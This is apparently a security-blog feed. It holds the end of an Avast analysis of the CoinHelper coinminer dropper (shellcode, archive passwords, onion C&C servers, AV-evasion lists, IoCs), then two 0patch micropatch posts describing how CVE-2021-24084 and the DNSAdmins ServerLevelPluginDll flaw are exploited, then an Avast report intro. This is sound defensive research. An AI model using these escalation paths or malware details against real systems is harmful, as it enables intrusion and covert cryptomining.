In the sections below, the reader can find further details of how the information is obtained in the first stage of the malware, along with further details about the harvested data.

Checking the CPU 

The malware executes one of the two variants of shellcodes (x86 and x64), present in hexadecimal form:

  • 0x5589E5538B45088B4D0C31DB31D20FA28B6D10894500895D04894D0889550C5B5DC3
  • 0x5389C889D131DB31D20FA26741890067418958046741894808674189500C5BC3

When we disassemble the shellcodes, we can see common cpuid checks, returning all its values (registers EAX, EBX, ECX, EDX). Thus, the malware effectively harvests all the information of the currently present processor of the victim, its model and features.

x86 CPUID check
x64 CPUID check

All the information is parsed and particular features are extracted. Actually, the feature lists in the malware are identical to the CPUID Wikipedia page, exactly pointing out where the attacker was inspired.

Even though all the information is harvested, only the AES instruction set bit is actually checked – if the processor supports this instruction set and it is x64, only then it will install the x64 bit version of the final stage (coinminer). In the other case, the x86 version is used.

As we mentioned, the rest of the information is collected, but it is actually not used anywhere in the code.

CPU and video card information

The cpuid check is not the only one that performs HW checks on the victim’s system. Two additional WMI queries are used to obtain the names of the victim’s processor and video card:
SELECT * FROM Win32_Processor
SELECT * FROM Win32_VideoController

Furthermore, the malware uses GetSystemInfo to collect the SYSTEM_INFO structure to check the number of cores the victim’s CPU has.

AV checks

The script also checks for running processes, searching for security solutions present on the machine. This information is once again “just” logged and sent to the IP logging server – no other action is done with this information (e.g. altering malware’s functionality).

The complete list of all the checked AV / Security solutions by their processes, as presented in the malware, can be found in Appendix.

Exploring the second stage – asacpiex.dll

Now, let’s dive into the second stage of the malware. After the asacpiex.dll archive is fixed, it is saved as CR_Debug_Log.txt to the Temp folder.

To unpack the archive, the malware uses a password JDQJndnqwdnqw2139dn21n3b312idDQDB. This is the most common password for these AutoIt droppers. However, it is not the only one and so far, we counted two additional passwords:

Unpacking reveals two additional files:

  • 32.exe
  • 64.exe

Depending on the architecture of the OS and whether the AES instruction set is available, one of these files is copied into
and executed (via a scheduled task).

Both of these files are once again compiled AutoIt scripts, carrying functionality to distribute further payloads, in the form of coinminers, to victims via Tor network.

After the decompilation of the files, we can see that both of the output scripts are very similar. The only difference is that the x64 version tries to also utilize the user’s graphic card as well if possible for coinmining, not just the CPU. In the text below, we will focus on the x64 version since it contains more functionality.

Although Helper.exe is the most common name of the malware by far, it is not the only possibility. Other options we’ve seen in the wild are for example:

  • fuck.exe
  • Helperr.exe
  • svchost.exe
  • System.exe
  • system32.exe
  • WAPDWA;DJ.exe
  • WorkerB.exe


As we already mentioned, the primary goal of the Helper.exe dropper is to drop an XMRig coinminer onto the victim’s system via Tor network. The coinminer is executed with a hardcoded configuration present in the script.

Helper.exe holds a variety of other functionalities as well, such as performing several system checks on the victim’s PC, injecting itself into %WINDIR%\System32\attrib.exe system binary, checking the “idleness” of the system to intensify the mining, and more. Let’s now have a look at how all these functionalities work.

Downloading coinminers via Tor network

The main purpose of the dropper is to download a payload, in our case a coinminer, onto the infected system. To do so, the malware performs several preparatory actions to set up the environment to its needs.

First and foremost, the malware contains two additional files in hexadecimal form. The first is once again a clean 7zip binary (but different than CL_Debug_Log.txt) and the second one is a 7zip archive containing a clean Tor binary and belonging libraries:

  • libcrypto-1_1-x64.dll
  • libevent-2-1-7.dll
  • libevent_core-2-1-7.dll
  • libevent_extra-2-1-7.dll
  • libgcc_s_seh-1.dll
  • libssl-1_1-x64.dll
  • libssp-0.dll
  • libwinpthread-1.dll
  • tor.exe
  • zlib1.dll

To be able to unpack Tor, a password DxSqsNKKOxqPrM4Y3xeK is required. This password is also required for unpacking every downloaded coinminer as well, but we will get to that later.

After Tor is executed, it listens on port 9303 on localhost ( and waits for requests. To prevent confusion at this point, note that this execution is hidden by default because tor.exe should not be mistaken for a Tor browser. tor.exe is a process providing Tor routing (without a GUI). In a common Tor browser installation, it can be usually found in \<Tor browser root folder>\Browser\TorBrowser\Tor\tor.exe.

The script further contains a few Base64 encoded Tor addresses of the C&C servers and tries which one is alive. This is done by initializing SOCKS4 communication via a crafted request (in the hexadecimal form):
04 01 00 50 00 00 00 FF 00 $host 00
where $host is the demanded server address.

The malware expects one of the standard protocol responses and only if the response contains 0x5A byte, the malware will further proceed to communicate with the server.

Byte Meaning
0x5A Request granted
0x5B Request rejected or failed
0x5C Request failed because client is not running identd (or not reachable from server)
0x5D Request failed because client’s identd could not confirm the user ID in the request
Source: https://en.wikipedia.org/wiki/SOCKS

The lists of Tor addresses differ quite a bit across multiple samples. So far we’ve seen 24 unique C&C servers (see our IoC repository for the complete list). However, at the time of writing, only two of all the servers were still active:

  • 2qepteituvpy42gggxxqaaeozppjagsu5xz2zdsbugt3425t2mbjvbad[.]onion
  • jbadd74iobimuuuvsgm5xdshpzk4vxuh35egd7c3ivll3wj5lc6tjxqd[.]onion

If we access the server using e.g. Tor browser, we can see a default Windows Server landing page, illustrated in figure below. Note that this is a very common landing page for MyKings C&Cs. However, this single fact is not sufficient for attributing CoinHelper to MyKings.

Default Windows Server landing page. The same image is also commonly present on MyKings C&C servers, but that is not sufficient for attribution.

The malware is capable of downloading four files in total from an active server, present in a “public” subfolder:

  • public/upd.txt
  • public/64/64.txt (or public/32/32.txt if the “32 bit variant” of the script is used)
  • public/vc/amd.txt
  • public/vc/nvidia.txt

The files 64.txt (32.txt), amd.txt, and nvidia.txt are all XMRig coinminers (encoded and compressed), both for CPU or an according GPU card.

The upd.txt file is a plaintext file containing a version number bounded by _ and ! symbols, for example _!1!_. The malware asks the server what’s the version and if the version is newer, all coinminers are updated (downloaded again).

The miners are downloaded as a hexadecimal string from the C&C, ending with a constant string _!END!_. After the end stub is removed and the string decoded, we get a 7zip archive. Once again, we can use the DxSqsNKKOxqPrM4Y3xeK password to unpack it.

After the unpacking, we can get these files:

  • SysBackup.txt – for CPU miners (both 32 and 64 bit)
  • SysBackupA.txt – when there is also AMD GPU detected
  • SysBackupN.txt – when there is also NVIDIA GPU detected

These files are once again present in a hexadecimal form, this time starting with 0x prefix and without the end stub.

Furthermore, a few additional files can be found with the “SysBackup” files for ensuring the mining functionality and optimal mining, when appropriate (for example xmrig-cuda.dll for NVIDIA cards).

The download process can be seen in the following visualisation:


The coinmining (and the 7zip unpacking) is executed via process injection. The CPU coinmining is performed by injecting into a newly created and suspended process of %WINDIR%\System32\attrib.exe.

Execution of all the other components, such as GPU mining or unpacking of the coinminer payloads downloaded from Tor, is done by injecting into itself, meaning a new suspended instance of Helper.exe is used for the injection. When there is coinmining on GPU supported, both CPU and GPU are executed in parallel.

Note that the injection is done by a publicly available AutoIt injector, so the author chose the copy+paste way without reinventing the wheel.

From our research, we’ve only seen XMRig to be deployed as the final coinmining payload. The malware executes it with common parameters, with one approach worth mentioning – a parameter setting the password for the mining server “-p”. In standard situations, the password doesn’t really matter so the malware authors usually use “x” for the password. In this case, however, the malware generates a GUID of the victim and appends it to the usual “x”.

The GUID is created by concatenating values from one of the WMI queries listed below:
SELECT * FROM Win32_ComputerSystemProduct
SELECT * FROM Win32_Processor
SELECT * FROM Win32_PhysicalMedia

Which query should be used is defined in the configuration of the AutoIt script. The GUID is created by hashing the obtained information using MD5 and formatted as a standard GUID string:

With this approach, the malware author is in fact able to calculate the exact number of infected users who are actually mining, because all the mining will be performed via a unique password, passing it as an ID of the “worker” (= victim) to the pool.


Similarly to the first stage, at the beginning of the second stage, particular mutexes are checked and created if necessary:

  • QPRZ1bWvXh
  • QPRZ1bWvXh2

As we can see, only the number in the middle of the mutex is changed compared to the first stage (QPRZ3bWvXh). The second mutex has an appended 2 as a constant. We have also seen QPRZ2bWvXh used as well, once again changing the middle number.

For the sake of staying hidden for the longest time possible, the malware checks several processes using a native AutoIt ProcessExists function for any running system monitoring and analysis tools:

  • aida64.exe
  • AnVir.exe
  • anvir64.exe
  • GPU-Z.exe
  • HWiNFO32.exe
  • HWiNFO64.exe
  • i7RealTempGT.exe
  • OpenHardwareMonitor.exe
  • pchunter64.exe
  • perfmon.exe
  • ProcessHacker.exe
  • ProcessLasso.exe
  • procexp.exe
  • procexp64.exe
  • RealTemp.exe
  • RealTempGT.exe
  • speedfan.exe
  • SystemExplorer.exe
  • taskmgr.exe
  • VirusTotalUpload2.exe

When the tool is spotted, the malware temporarily disables the mining. The information about running coinminers is stored in two files:

  • mn.pid
  • gmn.pid

As their names might disclose, a particular PID of the running (GPU) coinminer is written there.

The malware also monitors whether the victim actually uses their PC at the moment. If the user is idle for a while, in our particular case for 3 minutes, the current coinmining is terminated and a new coinmining process is executed and set to leverage 100% of the CPU on all threads. This information (PID) is stored in a file called mn.ld. When the PC is actively used, the mining is set to 50% of the available performance. On the other hand, GPU mining is performed only when the user is not actively using their PC (for 2 minutes).

The malware also lists all console windows present on the system and finds out those that have visibility set to hidden. If such a window is found and it doesn’t belong to CoinHelper, the malware considers it as a competing miner and kills the process.

Data harvesting and AV checks

Similarly to the previous AutoIt stage, Helper.exe collects information about the infected system, too, as shown in the table below:

Information Purpose
Number of available CPU threads If the victim’s system is idle, the malware leverages all CPU threads
Video card type What kind of card is used – for Nvidia or AMD optimized coinmining
CPU type Not used (*see below)
Security solution Not used (*see below)
HW ID hashed by MD5 Appended to XMRig password, resulting in a parameter -p xMD5 (see Coinmining for details)

As we could see (*) in the table above, the code actually contains functions for the harvesting of some information that is not actually executed. This means that while it could gather this information, it doesn’t. Due to similarities with the first stage, we suppose that the authors have forgotten some artifacts of previous versions due to shifts of functionality between the first AutoIt stage and the Helper.exe stage.

The malware recognizes which graphic card is available on the infected system. These cards are detected using the WMI query on Win32_VideoController. You can find all the cards, as presented in the malware, in the table below:

AMD Series AMD Model
RX 460, 470, 480, 540, 550, 560, 570, 580, 590, 640, 5500, 5600, 5700, 6800, 6900
R5 230
R7 240
VEGA 56, 64
Radeon 520, 530, 535, 540, 550, 610, 620, 625, 630, VII
WX 3100, 5100
Nvidia Series Nvidia Model
GTX 750, 970, 980, 980, 1050, 1060, 1070, 1080, 1650, 1660, TITAN
RTX 2050, 2060, 2070, 2080, 3060, 3070, 3080, 3090
GT 710, 720, 730, 740, 1030
Quadro K1000, K1200, P400, P620, P1000, P2000, P2200, P5000

If any card from above is detected and also the video adapter name matches either “Advanced Micro Devices, Inc.” or “NVIDIA”, the malware uses XMRig to leverage GPU for coinmining.

From the list of graphic cards, it is apparent that the malware doesn’t hesitate to leverage the newest models of graphic cards.

Bundled apps overview

After looking at the software that the infected victims originally wanted to install, we can conclude that CoinHelper can be bundled with practically anything. So far, we’ve seen over 2,700 different apps bundled with CoinHelper (differentiating by unique SHA256 hashes). The majority of the software consists of clean installers, cracked software, cracked games or game cheats like ChromeSetup, Photoshop, MinecraftSetup, Assassin’s Creed Valhalla, CyberPunk 2077 Trainer or AmongUs cheats. With repertoire like this, the authors of CoinHelper are able to reach out to almost any type of audience ensuring successful spread of the malware.

Persuading someone to download supposedly clean software, which is in reality bundled with malware, is easier than persuading someone to willingly download malware which is secretly bundled with another malware. Authors of CoinHelper are not afraid of this challenge as we observed CoinHelper to be also bundled with samples of malware like 888 RAT or njRAT. We assume that with this approach, the target group of people gets extended by “script kiddies” and inexperienced people with an interest in malware. As this group of people is very specific, there are only a few samples of malware in comparison with the amount of other software. Graphical overview of this proportion can be seen also in the image below.

Origin of the bundled apps

Apart from the Yandex Disk storage from where we started our investigation, we can confirm that another considerable method of spreading CoinHelper is via malicious torrents placed on internet forums focused on cracked software.

Forums overview

The authors of the malware successfully made it easy for people to stumble upon the malicious torrents. During our research, we found CoinHelper bundled with software on  Russian internet forums focusing on cracked software:

  • windows-program[.]com
  • softmania[.]net

Even though we were able to find information about the number of downloads of the malware from these forums (more about this later), it wasn’t nearly enough to explain the number of hits from our user base. Because of this, we have to assume that there are tens of forums like the ones mentioned above, spreading malware through cracked software. 

More about the forums

Let’s focus on the first forum windows-program[.]com, as the other one is very similar. Between the thousands and thousands of articles, we found the samples we were looking for. As it turns out, registered user Alex4 created 29 different articles mostly containing torrents for cracked software including:

Advertised software Description & functionality
Ableton Live Suite 9.7.3 + Crack + торрент Audio workstation and music production software with current price 599 €
Dr.Web Security Space x86 x64 + ключ + торрент Anti-virus solution
ESET NOD32 Smart Security + ключи + торрент Anti-virus solution
Avast Premier 11.2.2260 + ключ + торрент Anti-virus solution
Adobe Photoshop CC 2017.1.1 + Portable + торрент Photo and image editing software
Fraps 3.5.99 на русском + crack + торрент Screen capture and screen recording utility, popular to videocapture games

As can be seen in the table above, CoinHelper can be also found bundled with multiple well-known AV solutions. Let’s take a closer look at a post about Avast AV for the sake of awareness about threats that come with downloading AV from sources like this.

First thing to notice is that the post is from 2020-11-06. It also  contains some  screenshots of the promised program, but it can be seen that it is a very old version of our AV from 2016. After launching the installation, users get to choose between installing the old version or updating AV to the newest version. Unfortunately, the installer was manipulated and neither of the options work and the no-update variant crashes the system. As a result, the output from this download for users is that they don’t get AV protection, they might crash their system and they also get infected with CoinHelper. Because of this we highly recommend downloading only signed software from verified and trustworthy sources and if possible verify hashes or checksums of installers.

As a matter of fact, neither of the AV installers worked. After launching an installer, CoinHelper would install itself and installation would fail because of various reasons. It makes sense that authors of the malware would choose malfunctioning these installers, because there is no reason to give victims a tool that kills and removes their freshly dropped malware from the system.

In the post, it is possible to download three different things:

  • A torrent file with which it is possible to download the advertised program with CoinHelper
  • A zip archive protected with a password “123” containing the advertised program with CoinHelper

After choosing between a zip archive or torrent, the page opens a new tab with information about the file to be downloaded. On the image below it is possible to see the date when the file was added to the page. Surprisingly it is 2021-07-12 and not 2020-11-06, so the file is much newer than the post referencing it. Because we have seen multiple versions of the malicious AutoIt scripts, we suppose that authors of the malware are updating these files with new versions of CoinHelper. 

Additional information that can be noticed on the image above is that the torrent file was downloaded 549 times and after adding the 508 downloads of the zip archive, we can conclude that more than 1,000 people may have got infected just from this one post on this forum. After checking all the forum posts and files uploaded by the user Alex4 we can confirm that the total number of downloads is more than 45,000 by the 2021-11-02. We consider this number to be quite alarming considering it is the spread of malware only from a single internet forum.

The second forum (softmania[.]net) is quite similar. In this case, the user from whose account the malware is spreading is WebGid4. This user has 56 publications on the forum among which you can find posts about following software:

Advertised software Description & functionality
Windows 11 64bit Pro-Home v.21 торрент Windows 11 ISO image
Adobe Photoshop Lightroom Classic 2021 v10.0 + торрен Photo and image editing software
Microsoft Office 2016 Professional Plus 16.0.7571.2075 + Ключ + Torrent MS Office package
VMware Workstation 12 Pro 12.5.4 Software that creates and runs virtual machines
Steinberg Cubase Pro 10.0.50 2020 + торрент Software for composing, recording, mixing and editing music

The first thing that caught our eyes was the ISO image of the brand new OS Windows 11. The official Windows 11 release date was 2021-10-05, which was only a few weeks before the release of this blogpost. This means that the attackers are really keeping the pace with the current trends and they try very hard to have interesting software to infect as many victims as they can.

After downloading the torrent named “Windows 11 64bit Pro-Home v.21 торрент” victims would download through the torrent client an ISO file named “windows_11_CLIENT_CONSUMER_x64FRE_en-us.iso”. This is a working ISO image of Windows 11, which installs a brand new operating system, but as a bonus it deploys CoinHelper that is inside the ISO image. After unpacking the ISO file, there is an executable called \sources\setup.exe present that contains bundled CoinHelper.

If the victims were more careful, a hint that something is sketchy could be seen after clicking on the download torrent link and opening a download page in the new tab. The torrent was added 2021-07-10, only 17 days after the official announcement of Windows 11 and ~3 months before the official release. This already raised many flags, and as we later found out, it is a Windows 11 developer version that was leaked in June 2021. This ISO image is able to successfully upgrade existing Windows OS to the new Windows 11 also with CoinHelper in it.

Seeding source

We’ve seen these malicious files being downloaded through torrents which are seeded from seed boxes. A seed box is a remote server used for storing and seeding files through the P2P network that can be rented as a service. Seed boxes serve as a layer of anonymity for attackers because instead of exposing their IP address, only the IP address of the seed box can be seen. They also ensure high availability of the content, because the seed box is supposed to be running 24/7 (unlike regular PCs). Furthermore, companies renting seed boxes also offer different bandwidths to be able to support even higher download rates.

When we looked into the malicious torrents from the Alex4 on windows-program[.]com forum, we saw that the malicious content is downloaded from the server with IP 88.204.193[.]34 on port 56000 (apart from others probably already infected seeders). After taking a closer look at this IP address, we’ve found out that the IP address is located in Kazakhstan and it is connected to the service named megaseed (megaseed.kz).


In this blog post, we presented a detailed technical analysis of CoinHelper, a family of AutoIt droppers, which provides a massive coinmining campaign affecting hundreds of thousands of users worldwide. The malware is being spread in a form of a bundle with another software, being it game cheats, cracked software, or even clean installers such as Google Chrome or AV products, as well as hiding in Windows 11 ISO image, and many others.

Furthermore, we explained how the malware maps the victims of the campaign using public IP logging services to better understand the effectiveness of the chosen infection vectors in certain regions. Using these services, the malware also harvests information about victims’ security solutions and available computational power.

We explained how the malware can hide literally in any software from unofficial sources. The scope of the spreading is also supported by seeding the bundled apps via torrents, further abusing the unofficial way of downloading software.

Indicators of Compromise (IoC)

SHA256 File name
83a64c598d9a10f3a19eabed41e58f0be407ecbd19bb4c560796a10ec5fccdbf start.exe
cc36bb34332e2bc505da46ca2f17206a8ae3e4f667d9bdfbc500a09e77bab09c asacpiex.dll
ea308c76a2f927b160a143d94072b0dce232e04b751f0c6432a94e05164e716d CL_Debug_Log.txt
126d8e9e03d7b656290f5f1db42ee776113061dbd308db79c302bc79a5f439d3 32.exe
7a3ad620b117b53faa19f395b9532d3db239a1d6b46432033cc0ef6a8d2377cd 64.exe
7387e57e5ecfdba01f0ad25eeb49abf52fa0b1c66db0b67e382d3b9c057f51a8 32.txt
ff5aa6390ed05c887cd2db588a54e6da94351eca6f43a181f1db1f9872242868 64.txt
6753d1a408e085e4b6243bfd5e8b44685e8930a81ec27795ccd61f8d54643c4e amd.txt
93dd8ef915ca39f2a016581d36c0361958d004760a32e9ee62ff5440d1eee494 nvidia.txt
Logging services


List of checked security solutions

AV / Security solution Checked processes
Avast AvastUI.exe, AvastSvc.exe
NOD egui.exe, ekrn.exe
Kaspersky avp.exe, avpui.exe
AVG avguix.exe, AVGUI.exe
Dr.web dwengine.exe
Ad-Aware AdAwareTray.exe, AdAwareDesktop.exe
SecureAPlus SecureAPlus.exe, SecureAPlusUI.exe
Arcabit arcabit.exe, arcamenu.exe
Bitdefender seccenter.exe, bdagent.exe, bdwtxag.exe, agentcontroller.exe
Comodo cis.exe, vkise.exe
Cybereason CybereasonRansomFree.exe
Emsisoft a2guard.exe, a2start.exe
eScan escanmon.exe, TRAYICOS.exe, escanpro.exe
F-Prot FProtTray.exe, FPWin.exe
GData AVKTray.exe, GDKBFltExe32.exe, GDSC.exe
ikarus guardxkickoff.exe, virusutilities.exe
K7AntiVirus K7TSecurity.exe, K7TSMain.exe, K7TAlert.exe
MaxSecure Gadget.exe, MaxProcSCN.exe, MaxSDTray.exe, MaxSDUI.exe, MaxUSBProc.exe
McAfee McDiReg.exe, McPvTray.exe, McUICnt.exe, mcuicnt.exe, MpfAlert.exe, ModuleCoreService.exe, uihost.exe, delegate.exe
MicrosoftSecurityEssentials msseces.exe
Panda PSUAConsole.exe, PSUAMain.exe
TrendMicro PtSessionAgent.exe, uiSeAgnt.exe, uiWinMgr.exe
TrendMicro-HouseCall HousecallLauncher.exe, housecall.bin, HouseCallX.exe
Webroot WRSA.exe
ZoneAlarm zatray.exe
AhnLab-V3 ASDCli.exe, ASDUp.exe, MUdate.exe, V3UPUI.exe, V3UI.exe
Avira avgnt.exe, Avira.Systray.exe, ngen.exe, Avira.VPN.Notifier.exe, msiexec.exe
Bkav BkavHome.exe
BkavPro Bka.exe, BkavSystemServer.exe, BLuPro.exe
F-Secure fshoster32.exe
Jiangmin KVMonXP.kxp, KVPreScan.exe, KVXp.kxp
Kingsoft kislive.exe, kxetray.exe
NANO-Antivirus nanoav.exe
Qihoo-360 efutil.exe, DesktopPlus.exe, PopWndLog.exe, PromoUtil.exe, QHSafeMain.exe, QHSafeTray.exe, SoftMgrLite.exe
Rising popwndexe.exe, rsmain.exe, RsTray.exe
SUPERAntiSpyware SUPERAntiSpyware.exe
Tencent QQPCTray.exe, QQPCUpdateAVLib.exe, Tencentdl.exe, TpkUpdate.exe
VBA32 vba32ldrgui.exe, VbaScheluder.exe, BavPro_Setup_Mini_C1.exe
ViRobot hVrSetup.exe, hVrTray.exe, hVrScan.exe, hVrContain.exe
Zillya ZTS.exe
Defender MSASCui.exe, MSASCuiL.exe
SmartScreen smartscreen.exe

The post Toss a Coin to your Helper (Part 2 of 2) appeared first on Avast Threat Labs.

Micropatching Unpatched Local Privilege Escalation in Mobile Device Management Service (CVE-2021-24084 / 0day)

26 November 2021 at 17:59


by Mitja Kolsek, the 0patch Team


Update 12/21/2021: Microsoft provided an official fix for this issue on December 14. Our associated micropatches thus ceased being free and now require a PRO license.

In June 2021, security researcher Abdelhamid Naceri published a blog post about an "unpatched information disclosure" vulnerability in Windows. The post details the mechanics of the issue and its exploitation, allowing a non-admin Windows user to read arbitrary files even if they do not have permissions to do so. The exploit namely copies file(s) from a chosen location into a CAB archive that the user can then open and read.

Abdelhamid's blog post also provides the timeline of reporting the vulnerability to Microsoft through ZDI in October 2020, Microsoft assigning a CVE ID to the issue and allegedly planning to fix it in April 2021, and the latter not happening in April. Or June. Or July or August or September or October.

While we had noticed Abdelhamid's June disclosure, it didn't seem to be a critical enough issue for micropatching, as we generally don't patch information disclosure bugs.

In November, however, Abdelhamid pointed out that this - still unpatched - bug may not be just an information disclosure issue, but a local privilege escalation vulnerability. Namely, as HiveNightmare/SeriousSAM has taught us, an arbitrary file disclosure can* be upgraded to local privilege escalation if you know which files to take and what to do with them. We confirmed this by using the procedure described in this blog post by Raj Chandel in conjunction with Abdelhamid's bug - and being able to run code as local administrator.

(*) Two conditions need to be met in order for the local privilege escalation to work:

  1. System protection must be enabled on drive C, and at least one restore point created. Whether system protection is enabled or disabled by default depends on various parameters.  
  2. At least one local administrator account must be enabled on the computer, or at least one "Administrators" group member's credentials cached

The Vulnerability

The vulnerable functionality resides under the "Access work or school" settings and can be triggered by clicking on "Export your management log files" and confirming by pressing "Export". At that point, the Device Management Enrollment Service is triggered, running as Local System. This service first copies some log files to the C:\ProgramData\Microsoft\MDMDiagnostics folder, and then packages them into a CAB file whereby they're temporarily copied to C:\Windows\Temp folder. The resulting CAB file is then stored in the C:\Users\Public\Public Documents\MDMDiagnostics folder, where the user can freely access it.

It is the copying to C:\Windows\Temp folder that is vulnerable. Namely, a local attacker can create a soft link (junction) there with a predictable file name that will be used in the above-described process, pointing to some file or folder they want to have copied to the CAB file. Since the Device Management Enrollment Service runs as Local System, it can read any system file that the attacker can't.

Abdelhamid's POC targets the kernel dump files in folder C:\Windows\LiveKernelReports to demonstrate the issue, while we used SAM, SECURITY and SYSTEM files from a restore point folder to achieve local privilege escalation.

The vulnerability has CVE-2021-24084 assigned, but we still consider it a "0day" as no official vendor fix is available.

Our Micropatch

Abdelhamid's blog post suggested that user impersonation during CAB file creation would resolve the issue. While we agree with that, we were concerned that might break some use cases and rather decided to check for the presence of junctions during CAB file creation.

The function we patched is CollectFileEntry inside mdmdiagnostics.dll. This is the function that copies files from C:\Windows\Temp folder into the CAB file, and can be tricked into reading some other files instead.

Our patch is placed immediately before the call to CopyFileW that opens the source file for copying, and uses the GetFinalPathNameByHandleW function to determine whether any junctions or other types of links are used in the path. If they are, our patch makes it look as it the CopyFileW call has failed, thereby silently bypassing the copying of any file that doesn't actually reside in C:\Windows\Temp.

Here is the IDA graph showing our applied patch (green code blocks are patch code; blue code block is a trampoline with the original code).  


Micropatch Availability

This micropatch was written for: 

  1. Windows 10 v21H1 (32 & 64 bit) updated with November 2021 Updates
  2. Windows 10 v20H2 (32 & 64 bit) updated with November 2021 Updates
  3. Windows 10 v2004 (32 & 64 bit) updated with November 2021 Updates
  4. Windows 10 v1909 (32 & 64 bit) updated with November 2021 Updates
  5. Windows 10 v1903 (32 & 64 bit) updated with November 2021 Updates
  6. Windows 10 v1809 (32 & 64 bit) updated with May 2021 Updates
Windows Servers are not affected, as the vulnerable functionality does not exist there. While some similar diagnostics tools exist on servers, they are being executed under the launching user's identity, and therefore cannot be exploited.

Windows 10 v1803 and older Windows 10 versions don't seem to be affected either. While they do have the "Access work or school" functionality, it behaves differently and cannot be exploited this way. Windows 7 does not have the "Access work or school" functionality at all.

Note that Abdelhamid has also published a related POC for Windows 11 but that POC is actually exploiting a different vulnerability. 

Micropatches for this vulnerability will be free until Microsoft has issued an official fix. If you want to use them, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com. Everything else will happen automatically. No computer reboots will be needed.

We'd like to thank Abdelhamid Naceri for finding this issue and sharing details, which allowed us to create a micropatch and protect our users.

To learn more about 0patch, please visit our Help Center.




Micropatch For Remote Code Execution by DNS Administrators (CVE-2021-40469)

19 November 2021 at 17:03

by Mitja Kolsek, the 0patch Team


This is a story of a publicly known remote code execution vulnerability that somehow got ignored and mostly overlooked for four and a half years, meanwhile rediscovered a number of times, weaponized, and finally fixed this October with an unexpected acknowledgment.

Back in May 2017, security researcher Shay Ber published details about a vulnerability affecting Windows DNS Service. They found that any member of the DNSAdmins domain group can use their privileges to get the computer running the DNS Service to run arbitrary code as Local System - which equals a complete takeover of said computer. Since many domain controllers are running the DNS Service, this could mean a complete Windows domain takeover.

Note that DNSAdmins is a powerful group: being able to change domain DNS configuration allows one to cause all sorts of problems - but it doesn't automatically allow them to take over the domain. Typically, a DNS administrator is not allowed to login to the computer running the DNS Service (often a domain controller), and configures DNS from their own workstation using a DNS management tool that utilizes remote procedure calls (RPC).

Shay noticed that legitimate functionality of these remote procedure calls, conveniently made available by the Windows dnscmd.exe tool, can be used to remotely configure a DNS Service to load an arbitrary DLL from a network share and execute its code. This is due to the DNS Service checking, upon startup, the presence of registry value ServerLevelPluginDll and, if it exists, loading the DLL from the path specified therein. This value could be set remotely using the dnscmd.exe tool by members of the DNSAdmins group.

After reporting this to Microsoft, Shay was told that "it [would] be fixed by basically only allowing DC administrators to change the ServerLevelPluginDll registry key, and that it [would] be possible to toggle this feature off in future releases."

Although in their write-up Shay generously described the issue as "a cute feature (certainly not a bug!)", it was undeniably a privilege escalation - from non domain admin to domain admin - as well as a remote code execution issue - from computer one can run code on to computer one can't normally run code on.

In any case, the issue got largely forgotten, likely because of its "not a bug" classification, until another security researcher Sean Metcalf brought it up in their article a year and a half later. Fourteen months after that, security researcher Dhiraj Sharma revisited the original article and published a new write-up. Further nine months of nothing happening later, an exploit module got added to Metasploit, making it easier for attackers of all hat colors to exploit this issue. We're not done yet. In April and May 2021, security researcher Phackt wrote a two-part analysis of this issue, further dissecting it and shedding light on the "why" and offering an alternative for using the overly-permissive DNSAdmins group

Finally, this October's Windows Updates brought a fix, assigned the issue CVE-2021-40469, and, surprisingly, acknowledged (only) Yuki Chen, a regular reporter of Windows vulnerabilities, for finding and reporting this to Microsoft.

What a ride.


Microsoft's Fix

Microsoft's fix delivered by October 2021 updates did what was promised back in 2017: it introduced a new registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\InternalParameters with permissions only allowing administrators to modify its content. The ServerLevelPluginDll value has been moved from the Parameters key to this new key, making it impossible to change it with permissions provided by the DNSAdmins group. A decent fix, as far as we can tell.

The only thing not fixed were affected Windows servers that aren't receiving official Windows updates anymore: Windows Server 2008 R2 and Windows Server 2008 without Extended Security Updates. This is where we come in.

Our Micropatch

Our micropatch, the whole 19 CPU instructions of it, takes a bit different approach compared to Microsoft's fix. When applied (enabled), our micropatch forces the DNS Service to ignore the ServerLevelPluginDll value even if it's present in the registry. Based on the absolute absence of hits when googling for ServerLevelPluginDll and filtering out articles about exploiting this value, we assess that very few organizations are using this feature, so simply removing it - which our patch effectively does - is the optimal approach. This decision was in line with our goal of using minimal amount of code to fix the vulnerability. However, should a customer report that they're using this feature, we'll replace the patch with one that is functionally closer to Microsoft's.

Source code of our micropatch:

MODULE_PATH "..\Affected_Modules\dns.exe_6.1.7601.24437_Srv2008R2_64bit_NoESU\dns.exe"
VULN_ID 7208

    PIT msvcrt.dll!_wcsicmp,dns.exe!0x41171
        push rdi          ; storing register on stack to keep their values
        push rcx
        push rdx
        push r8
        push r9
        call VAR          ; trick to get address of string on stack
        dw __utf16__('ServerLevelPluginDll'), 0
        pop rdx           ; rdx points to string
        mov rcx, rdx      ; rcx points to
string 'ServerLevelPluginDll'
        mov rdx, r12      ; rdx points to name of registry value that
                          ; is currently being read from registry
        sub rsp, 20h      ; create home space for the 64bit call
        call PIT__wcsicmp ; compare strings case insensitive
        add rsp, 20h      ; abandon home space
        pop r9            ; restoring register values from stack
        pop r8
        pop rdx
        pop rcx
        pop rdi
        cmp rax, 0        ; were strings equal?
        je PIT_0x41171    ; if so, bypass reading from registry



And the video of our patch in action.

This micropatch was written for: 

  1. Windows Server 2008 (updated with January 2020 Updates - latest before end of support) 
  2. Windows Server 2008 R2 (updated with January 2020 Updates - latest before end of support)


To obtain the micropatch and have it applied on your computer(s) along with other micropatches included in a 0patch license, create an account in 0patch Central, install 0patch Agent and register it to your account, then purchase an appropriate 0patch license. Note that no computer restart is needed for installing the agent or applying/un-applying any 0patch micropatch. For a 0patch trial, contact [email protected]

We'd like to thank Shay Ber for finding this issue and sharing details, which allowed us to create a micropatch and protect our users. Thank you also to Yuki Chen, who appears to have been the one finally pushing the official vendor fix out the door.

To learn more about 0patch, please visit our Help Center.




Avast Q3’21 Threat Report

16 November 2021 at 12:58

Latest Avast Q3’21 Threat Report reveals elevated risk for ransomware and RAT attacks, rootkits and exploit kits return.


The threat landscape is a fascinating environment that is constantly changing and evolving. What was an unshakeable truth for a long time is no longer valid the next day; the most prevalent threats suddenly disappear, but are usually quickly replaced by at least two new ones; or that the bad guys standing behind these threats always come with new techniques when trying to get their profit.

Together with my colleagues, we came to the conclusion that it would be selfish to keep our insight into this landscape just for ourselves so we decided to start with publishing periodic Avast threat reports. Here, we would like to share with you details about emerging threats, stories behind malware strains and their spreading, and of course stats from our 435M+ endpoints telemetry.

